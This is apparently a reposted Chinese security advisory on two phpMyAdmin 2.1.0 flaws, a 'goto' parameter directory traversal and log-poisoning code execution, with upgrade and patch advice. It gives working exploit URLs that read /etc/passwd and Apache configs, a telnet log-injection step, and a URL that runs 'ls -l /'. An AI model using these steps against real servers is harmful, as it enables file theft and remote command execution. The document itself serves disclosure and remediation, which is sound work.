phpMyAdmin2.1.0存在兩個漏洞_PHP教程

來源:互聯網
上載者:User
phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 資料庫的 PHP 工具,具有基於 WEB 的介面。但是發現它存在漏洞。可選擇安裝新發布穩定版本:
phpMyAdmin 2.2.0。
1、目錄遍曆漏洞
攻擊者通過提供如下的 URL:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
能非法訪問系統檔案
有問題的代碼在:
‘include($goto);‘ in sql.php and in tbl_replace.php.
2、執行攻擊者代碼漏洞
通過使用全域可寫記錄檔,攻擊者能在受影響伺服器上執行任意代碼。
首先,得到 Apache 設定檔以便知道記錄檔儲存位置:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No
可以看出,日誌放在:
/var/log/httpd/error_log
/var/log/httpd/access_log
然後 telnet 到 連接埠80
# telnet www.example.com 80
Trying xxx.xxx.xxx.xxx...
Connected to www.example.com.
Escape character is ‘^]‘.
GET
^]
telnet> quit
Connection closed.
#
在 GET 請求之後,攻擊者能將任意 PHP 代碼上傳
現在,可以用 Apache 使用者身份遠程運行命令了:
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/
access_log&btnDrop=No?meters=ls%20-l%20/
受影響系統:
phpMyAdmin 2.1.0
解決方案:
建議:
1.使用 phpMyAdmin 2.2.0
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz
2.使用者下載安裝補丁:
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
摘自:52w.net

http://www.bkjia.com/PHPjc/629808.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/629808.htmlTechArticlephpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 資料庫的 PHP 工具,具有基於 WEB 的介面。但是發現它存在漏洞。可選擇安裝...

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.